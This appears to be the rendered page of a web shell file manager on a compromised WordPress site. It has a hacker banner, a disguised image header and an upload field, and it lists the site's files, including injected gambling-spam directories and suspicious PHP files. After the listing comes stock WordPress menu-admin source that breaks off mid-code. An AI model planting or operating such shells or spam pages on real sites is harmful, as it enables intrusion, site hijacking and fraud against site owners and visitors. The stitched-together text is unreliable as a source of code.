ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/www/kinleysgarage.co.uk

upload file:

List of files:

name file size edit permission action
.174556051680 KBApril 25 2025 05:55:160644
.174556504080 KBApril 25 2025 07:10:400644
.174556865680 KBApril 25 2025 08:10:560644
.174557227780 KBApril 25 2025 09:11:170644
.174557589980 KBApril 25 2025 10:11:390644
.174557951480 KBApril 25 2025 11:11:540644
.174558313380 KBApril 25 2025 12:12:130644
.174558675980 KBApril 25 2025 13:12:390644
.174559038780 KBApril 25 2025 14:13:070644
.174559400480 KBApril 25 2025 15:13:240644
.174559595880 KBApril 25 2025 15:45:580644
.174559608080 KBApril 25 2025 15:48:000644
.174559632280 KBApril 25 2025 15:52:020644
.174559641580 KBApril 25 2025 15:53:350644
.174559762580 KBApril 25 2025 16:13:450644
.174562477580 KBApril 25 2025 23:46:150644
.174562619280 KBApril 26 2025 00:09:520644
.174562657680 KBApril 26 2025 00:16:160644
.174563019180 KBApril 26 2025 01:16:310644
.174563380880 KBApril 26 2025 02:16:480644
.174563743180 KBApril 26 2025 03:17:110644
.174563920080 KBApril 26 2025 03:46:400644
.174563976480 KBApril 26 2025 03:56:040644
.174564012680 KBApril 26 2025 04:02:060644
.174564194080 KBApril 26 2025 04:32:200644
.174564646380 KBApril 26 2025 05:47:430644
.174565008080 KBApril 26 2025 06:48:000644
.174565369580 KBApril 26 2025 07:48:150644
.174565730880 KBApril 26 2025 08:48:280644
.174566092480 KBApril 26 2025 09:48:440644
.174566455080 KBApril 26 2025 10:49:100644
.174566816580 KBApril 26 2025 11:49:250644
.174567166180 KBApril 26 2025 12:47:410644
.174567178080 KBApril 26 2025 12:49:400644
.174567385180 KBApril 26 2025 13:24:110644
.174567452780 KBApril 26 2025 13:35:270644
.174567539580 KBApril 26 2025 13:49:550644
.174567901480 KBApril 26 2025 14:50:140644
.174568247080 KBApril 26 2025 15:47:500644
.174568353280 KBApril 26 2025 16:05:320644
.174568804680 KBApril 26 2025 17:20:460644
.174569166780 KBApril 26 2025 18:21:070644
.174569617780 KBApril 26 2025 19:36:170644
.174569911080 KBApril 26 2025 20:25:100644
.174569966680 KBApril 26 2025 20:34:260644
.174569979180 KBApril 26 2025 20:36:310644
.174570340580 KBApril 26 2025 21:36:450644
.174570702280 KBApril 26 2025 22:37:020644
.174571153780 KBApril 26 2025 23:52:170644
.174571515780 KBApril 27 2025 00:52:370644
.174571877280 KBApril 27 2025 01:52:520644
.174572240480 KBApril 27 2025 02:53:240644
.174572574980 KBApril 27 2025 03:49:090644
.174572692680 KBApril 27 2025 04:08:460644
.174573054680 KBApril 27 2025 05:09:060644
.174573416280 KBApril 27 2025 06:09:220644
.174573867780 KBApril 27 2025 07:24:370644
.174574229080 KBApril 27 2025 08:24:500644
.174574680180 KBApril 27 2025 09:40:010644
.174575131280 KBApril 27 2025 10:55:120644
.174575492780 KBApril 27 2025 11:55:270644
.174575854780 KBApril 27 2025 12:55:470644
.174576216980 KBApril 27 2025 13:56:090644
.174576578680 KBApril 27 2025 14:56:260644
.174576901980 KBApril 27 2025 15:50:190644
.174576940080 KBApril 27 2025 15:56:400644
.174577301580 KBApril 27 2025 16:56:550644
.174577517880 KBApril 27 2025 17:32:580644
.174577591680 KBApril 27 2025 17:45:160644
.174577650480 KBApril 27 2025 17:55:040644
.174577650780 KBApril 27 2025 17:55:070644
.174577752780 KBApril 27 2025 18:12:070644
.174578204380 KBApril 27 2025 19:27:230644
.174578654880 KBApril 27 2025 20:42:280644
.174579105680 KBApril 27 2025 21:57:360644
.174579467580 KBApril 27 2025 22:57:550644
.174579828880 KBApril 27 2025 23:58:080644
.174580191180 KBApril 28 2025 00:58:310644
.174580552580 KBApril 28 2025 01:58:450644
.174580914280 KBApril 28 2025 02:59:020644
.174581227680 KBApril 28 2025 03:51:160644
.174581275680 KBApril 28 2025 03:59:160644
.174581637180 KBApril 28 2025 04:59:310644
.174582088380 KBApril 28 2025 06:14:430644
.174582450580 KBApril 28 2025 07:15:050644
.174582902580 KBApril 28 2025 08:30:250644
.174583264680 KBApril 28 2025 09:30:460644
.174583627480 KBApril 28 2025 10:31:140644
.174583990080 KBApril 28 2025 11:31:400644
.174584352680 KBApril 28 2025 12:32:060644
.174584714780 KBApril 28 2025 13:32:270644
.174585077080 KBApril 28 2025 14:32:500644
.174585438780 KBApril 28 2025 15:33:070644
.174585800780 KBApril 28 2025 16:33:270644
.174586163180 KBApril 28 2025 17:33:510644
.174586525380 KBApril 28 2025 18:34:130644
.174586887380 KBApril 28 2025 19:34:330644
.174587248880 KBApril 28 2025 20:34:480644
.174587536580 KBApril 28 2025 21:22:450644
.174587610480 KBApril 28 2025 21:35:040644
.174587689880 KBApril 28 2025 21:48:180644
.174587972780 KBApril 28 2025 22:35:270644
.174588334780 KBApril 28 2025 23:35:470644
.174588697880 KBApril 29 2025 00:36:180644
.174589060980 KBApril 29 2025 01:36:490644
.174589422680 KBApril 29 2025 02:37:060644
.174589874780 KBApril 29 2025 03:52:270644
.174590144580 KBApril 29 2025 04:37:250644
.174590237380 KBApril 29 2025 04:52:530644
.174590599980 KBApril 29 2025 05:53:190644
.174590962880 KBApril 29 2025 06:53:480644
.174591325380 KBApril 29 2025 07:54:130644
.174591776480 KBApril 29 2025 09:09:240644
.174592138680 KBApril 29 2025 10:09:460644
.174592590580 KBApril 29 2025 11:25:050644
.174592951980 KBApril 29 2025 12:25:190644
.174593124380 KBApril 29 2025 12:54:030644
.174593402880 KBApril 29 2025 13:40:280644
.174593764880 KBApril 29 2025 14:40:480644
.174594215980 KBApril 29 2025 15:55:590644
.174594577580 KBApril 29 2025 16:56:150644
.174595028780 KBApril 29 2025 18:11:270644
.174595261380 KBApril 29 2025 18:50:130644
.174595480480 KBApril 29 2025 19:26:440644
.174595931480 KBApril 29 2025 20:41:540644
.174596293280 KBApril 29 2025 21:42:120644
.174596654580 KBApril 29 2025 22:42:250644
.htaccess243 KBApril 11 2026 06:59:320644
.htacl92 KBMarch 29 2026 20:14:080644
.lock756 KBApril 24 2025 17:50:490644
.multi0 KBApril 25 2025 15:47:560644
.tmb-April 08 2025 21:25:540777
Agen-Mix-Parlay-April 29 2025 13:00:480755
Agen-Sbobet-May 01 2025 15:08:140755
Agen-Slot-Gacor-April 25 2025 15:53:060755
Alternatif-Casino-April 18 2025 14:04:530755
Alternatif-Judi-Bola-May 09 2025 02:01:510755
Alternatif-Mix-Parlay-April 27 2025 03:58:110755
Alternatif-Sbobet-April 18 2025 14:04:530755
Alternatif-Slot-April 28 2025 03:57:420755
Casino-April 18 2025 14:04:530755
Daftar-Mix-Parlay-April 18 2025 14:04:530755
Daftar-Sbobet-April 18 2025 14:04:530755
Judi-Bola-April 26 2025 03:54:120755
Judi-Casino-April 25 2025 03:57:400755
Link-Casino-April 18 2025 14:04:530755
Link-Judi-Resmi-April 18 2025 14:04:530755
Link-Mix-Parlay-April 18 2025 14:04:530755
Link-Sbobet-April 18 2025 14:04:530755
Link-Sbobet88-April 18 2025 14:04:530755
Link-Slot-April 26 2025 15:54:540755
Live-Casino-April 18 2025 14:04:530755
Mix-Parlay-April 26 2025 03:54:150755
Mix-Parlay-Online-May 08 2025 19:04:470755
Mix-Parlay-Resmi-May 09 2025 02:03:020755
Piala-Dunia-2026-April 18 2025 14:04:530755
RTP-Slot-April 18 2025 14:04:530755
Sbobet-April 25 2025 15:53:090755
Sbobet-Online-April 18 2025 14:04:530755
Sbobet-Resmi-April 18 2025 14:04:530755
Sbobet88-April 18 2025 14:04:530755
Situs-Mix-Parlay-April 18 2025 14:04:530755
Situs-Sbobet-April 24 2025 07:51:250755
Situs-Sbobet88-April 18 2025 14:04:530755
Situs-Slot-April 18 2025 14:04:530755
Slot-Gacor-April 18 2025 14:04:530755
Slot-Gacor-Online-April 18 2025 14:04:530755
Slot-Maxwin-April 18 2025 14:04:530755
Slot-Online-April 18 2025 14:04:530755
Slot-Resmi-April 18 2025 14:04:530755
Taruhan-Judi-Bola-April 18 2025 14:04:530755
Taruhan-Mix-Parlay-April 18 2025 14:04:530755
Taruhan-Sbobet-April 18 2025 14:04:530755
core11759616 KBApril 29 2025 12:54:310600
license.txt19915 KBDecember 31 2023 18:02:200644
readme.html7409 KBJune 18 2024 05:59:140644
robots.txt93 KBApril 17 2025 06:39:580644
sitemap.xml7885 KBApril 17 2025 06:39:580644
w1px.php26454 KBMarch 16 2026 11:38:180644
wp-activate.php7387 KBFebruary 13 2024 08:19:100644
wp-admin-April 23 2025 17:29:530755
wp-blog-header.php351 KBMay 01 2025 14:59:240644
wp-comments-post.php2323 KBJune 14 2023 08:11:160644
wp-config-sample.php3336 KBOctober 15 2024 09:24:180644
wp-config.php3177 KBMay 07 2025 13:18:170644
wp-content-April 14 2025 13:14:490755
wp-cron.php5617 KBApril 29 2025 12:54:280644
wp-includes-April 07 2026 03:57:150755
wp-links-opml.php2502 KBNovember 26 2022 15:01:180644
wp-load.php14301 KBMay 08 2025 13:19:240644
wp-login-css.php265113 KBApril 23 2025 15:28:260644
wp-login.php51611 KBSeptember 30 2024 13:12:140644
wp-mail.php8543 KBSeptember 18 2024 16:37:160644
wp-settings.php29032 KBMay 07 2025 13:21:110644
wp-signup.php34385 KBJune 19 2023 12:27:280644
wp-trackback.php5102 KBOctober 18 2024 09:56:180644
xmlrpc.php3246 KBMarch 02 2024 07:49:060644
' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } // Used in the HTML title tag. $title = __( 'Menus' ); wp_enqueue_script( 'nav-menu' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } // Container for any messages displayed to the user. $messages = array(); // Container that stores the name of the active menu. $nav_menu_selected_title = ''; // The menu id of the current menu being edited. $nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0; // Get existing menu locations assignments. $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); $num_locations = count( array_keys( $locations ) ); // Allowed actions: add, update, delete. $action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'edit'; /* * If a JSON blob of navigation menu data is found, expand it and inject it * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134. */ _wp_expand_nav_menu_post_data(); switch ( $action ) { case 'add-menu-item': check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' ); if ( isset( $_REQUEST['nav-menu-locations'] ) ) { set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) ); } elseif ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] ); } break; case 'move-down-menu-item': // Moving down a menu item is the same as moving up the next in order. check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { $menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // Get next in order. if ( isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ] ) ) { $next_item_id = $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ]; $next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) ); // If not siblings of same parent, bubble menu item up but keep order. if ( ! empty( $menu_item_data['menu_item_parent'] ) && ( empty( $next_item_data['menu_item_parent'] ) || (int) $next_item_data['menu_item_parent'] !== (int) $menu_item_data['menu_item_parent'] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } // Make menu item a child of its next sibling. } else { $next_item_data['menu_order'] = $next_item_data['menu_order'] - 1; $menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1; $menu_item_data['menu_item_parent'] = $next_item_data['ID']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $next_item_data ); } // The item is last but still has a parent, so bubble up. } elseif ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true ); // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } } } break; case 'move-up-menu-item': check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { if ( isset( $_REQUEST['menu'] ) ) { $menus = array( (int) $_REQUEST['menu'] ); } else { $menus = wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); } if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // If this menu item is not first. if ( ! empty( $dbids_to_orders[ $menu_item_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { // If this menu item is a child of the previous. if ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) && isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) && ( (int) $menu_item_data['menu_item_parent'] === $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; /* * If there is something before the parent and parent a child of it, * make menu item a child also of it. */ if ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) && ! empty( $parent_data['menu_item_parent'] ) ) { $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; /* * Else if there is something before parent and parent not a child of it, * make menu item a child of that something's parent */ } elseif ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) ) { $_possible_parent_id = (int) get_post_meta( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ], '_menu_item_menu_item_parent', true ); if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ), true ) ) { $menu_item_data['menu_item_parent'] = $_possible_parent_id; } else { $menu_item_data['menu_item_parent'] = 0; } // Else there isn't something before the parent. } else { $menu_item_data['menu_item_parent'] = 0; } // Set former parent's [menu_order] to that of menu-item's. $parent_data['menu_order'] = $parent_data['menu_order'] + 1; // Set menu-item's [menu_order] to that of former parent. $menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1; // Save changes. update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $parent_data ); } // Else this menu item is not a child of the previous. } elseif ( empty( $menu_item_data['menu_order'] ) || empty( $menu_item_data['menu_item_parent'] ) || ! in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) || empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) || $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] !== (int) $menu_item_data['menu_item_parent'] ) { // Just make it a child of the previous; keep the order. $menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ]; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); } } } } break; case 'delete-menu-item': $menu_item_id = (int) $_REQUEST['menu-item']; check_admin_referer( 'delete-menu_item_' . $menu_item_id ); if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) ) { $messages[] = wp_get_admin_notice( __( 'The menu item has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete': check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id ); if ( is_nav_menu( $nav_menu_selected_id ) ) { $deletion = wp_delete_nav_menu( $nav_menu_selected_id ); } else { // Reset the selected menu. $nav_menu_selected_id = 0; unset( $_REQUEST['menu'] ); } if ( ! isset( $deletion ) ) { break; } if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $messages[] = wp_get_admin_notice( __( 'The menu has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete_menus': check_admin_referer( 'nav_menus_bulk_actions' ); foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) { if ( ! is_nav_menu( $menu_id_to_delete ) ) { continue; } $deletion = wp_delete_nav_menu( $menu_id_to_delete ); if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $deletion_error = true; } } if ( empty( $deletion_error ) ) { $messages[] = wp_get_admin_notice( __( 'Selected menus have been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'update': check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' ); // Merge new and existing menu locations if any new ones are set. $new_menu_locations = array(); if ( isset( $_POST['menu-locations'] ) ) { $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); } // Add Menu. if ( 0 === $nav_menu_selected_id ) { $new_menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( $new_menu_title ) { $_nav_menu_selected_id = wp_update_nav_menu_object( 0, array( 'menu-name' => $new_menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_id = $_nav_menu_selected_id; $nav_menu_selected_title = $_menu_object->name; if ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) ); } if ( isset( $_REQUEST['zero-menu-state'] ) || ! empty( $_POST['auto-add-pages'] ) ) { // If there are menu items, add them. wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ); } if ( isset( $_REQUEST['zero-menu-state'] ) ) { // Auto-save nav_menu_locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { $locations[ $location ] = $nav_menu_selected_id; break; // There should only be 1. } set_theme_mod( 'nav_menu_locations', $locations ); } elseif ( count( $new_menu_locations ) > 0 ) { // If locations have been selected for the new menu, save those. $locations = get_nav_menu_locations(); foreach ( array_keys( $new_menu_locations ) as $location ) { $locations[ $location ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $locations ); } if ( isset( $_REQUEST['use-location'] ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); if ( isset( $locations[ $_REQUEST['use-location'] ] ) ) { $menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) ); exit; } } else { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } // Update existing menu. } else { // Remove menu locations that have been unchecked. foreach ( $locations as $location => $description ) { if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] === $nav_menu_selected_id ) { unset( $menu_locations[ $location ] ); } } // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( ! $menu_title ) { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $menu_title = $_menu_object->name; } if ( ! is_wp_error( $_menu_object ) ) { $_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $_menu_object = $_nav_menu_selected_id; $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_title = $_menu_object->name; } } // Update menu items. if ( ! is_wp_error( $_menu_object ) ) { $messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) ); // If the menu ID changed, redirect to the new URL. if ( $nav_menu_selected_id !== $_nav_menu_selected_id ) { wp_redirect( admin_url( 'nav-menus.php?menu=' . (int) $_nav_menu_selected_id ) ); exit; } } } break; case 'locations': if ( ! $num_locations ) { wp_redirect( admin_url( 'nav-menus.php' ) ); exit; } add_filter( 'screen_options_show_screen', '__return_false' ); if ( isset( $_POST['menu-locations'] ) ) { check_admin_referer( 'save-menu-locations' ); $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $messages[] = wp_get_admin_notice( __( 'Menu locations updated.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; } // Get all nav menus. $nav_menus = wp_get_nav_menus(); $menu_count = count( $nav_menus ); // Are we on the add new screen? $add_new_screen = ( isset( $_GET['menu'] ) && 0 === (int) $_GET['menu'] ) ? true : false; $locations_screen = ( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) ? true : false; $page_count = wp_count_posts( 'page' ); /* * If we have one theme location, and zero menus, we take them right * into editing their first menu. */ if ( 1 === count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) { $one_theme_location_no_menus = true; } else { $one_theme_location_no_menus = false; } $nav_menus_l10n = array( 'oneThemeLocationNoMenus' => $one_theme_location_no_menus, 'moveUp' => __( 'Move up one' ), 'moveDown' => __( 'Move down one' ), 'moveToTop' => __( 'Move to the top' ), /* translators: %s: Previous item name. */ 'moveUnder' => __( 'Move under %s' ), /* translators: %s: Previous item name. */ 'moveOutFrom' => __( 'Move out from under %s' ), /* translators: %s: Previous item name. */ 'under' => __( 'Under %s' ), /* translators: %s: Previous item name. */ 'outFrom' => __( 'Out from under %s' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items. */ 'menuFocus' => __( 'Edit %1$s (%2$s, %3$d of %4$d)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent. */ 'subMenuFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent, 6: Item depth. */ 'subMenuMoreDepthFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s, level %6$d)' ), /* translators: %s: Item name. */ 'menuItemDeletion' => __( 'item %s' ), /* translators: %s: Item name. */ 'itemsDeleted' => __( 'Deleted menu item: %s.' ), 'itemAdded' => __( 'Menu item added' ), 'itemRemoved' => __( 'Menu item removed' ), 'movedUp' => __( 'Menu item moved up' ), 'movedDown' => __( 'Menu item moved down' ), 'movedTop' => __( 'Menu item moved to the top' ), 'movedLeft' => __( 'Menu item moved out of submenu' ), 'movedRight' => __( 'Menu item is now a sub-item' ), 'parentUpdated' => __( 'Menu parent updated' ), 'orderUpdated' => __( 'Menu order updated' ), ); wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n ); /* * Redirect to add screen if there are no menus and this users has either zero, * or more than 1 theme locations. */ if ( 0 === $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus ) { wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) ); } // Get recently edited nav menu. $recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) ); if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) ) { $recently_edited = $nav_menu_selected_id; } // Use $recently_edited if none are selected. if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) ) { $nav_menu_selected_id = $recently_edited; } // On deletion of menu, if another menu exists, show it. if ( ! $add_new_screen && $menu_count > 0 && isset( $_GET['action'] ) && 'delete' === $_GET['action'] ) { $nav_menu_selected_id = $nav_menus[0]->term_id; } // Set $nav_menu_selected_id to 0 if no menus. if ( $one_theme_location_no_menus ) { $nav_menu_selected_id = 0; } elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) { // If we have no selection yet, and we have menus, set to the first one in the list. $nav_menu_selected_id = $nav_menus[0]->term_id; } // Update the user's setting. if ( $nav_menu_selected_id !== $recently_edited && is_nav_menu( $nav_menu_selected_id ) ) { update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id ); } // If there's a menu, get its name. if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) { $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : ''; } // Generate truncated menu names. foreach ( (array) $nav_menus as $key => $_nav_menu ) { $nav_menus[ $key ]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '…' ); } // Retrieve menu locations. if ( current_theme_supports( 'menus' ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); } /* * Ensure the user will be able to scroll horizontally * by adding a class for the max menu depth. * * @global int $_wp_nav_menu_max_depth */ global $_wp_nav_menu_max_depth; $_wp_nav_menu_max_depth = 0; // Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth. if ( is_nav_menu( $nav_menu_selected_id ) ) { $menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) ); $edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id ); } /** * @global int $_wp_nav_menu_max_depth * * @param string $classes * @return string */ function wp_nav_menu_max_depth( $classes ) { global $_wp_nav_menu_max_depth; return "$classes menu-max-depth-$_wp_nav_menu_max_depth"; } add_filter( 'admin_body_class', 'wp_nav_menu_max_depth' ); wp_nav_menu_setup(); wp_initial_nav_menu_meta_boxes(); if ( ! current_theme_supports( 'menus' ) && ! $num_locations ) { $message_no_theme_support = sprintf( /* translators: %s: URL to Widgets screen. */ __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a “Navigation Menu” widget on the Widgets screen.' ), admin_url( 'widgets.php' ) ); $messages[] = wp_get_admin_notice( $message_no_theme_support, array( 'id' => 'message', 'additional_classes' 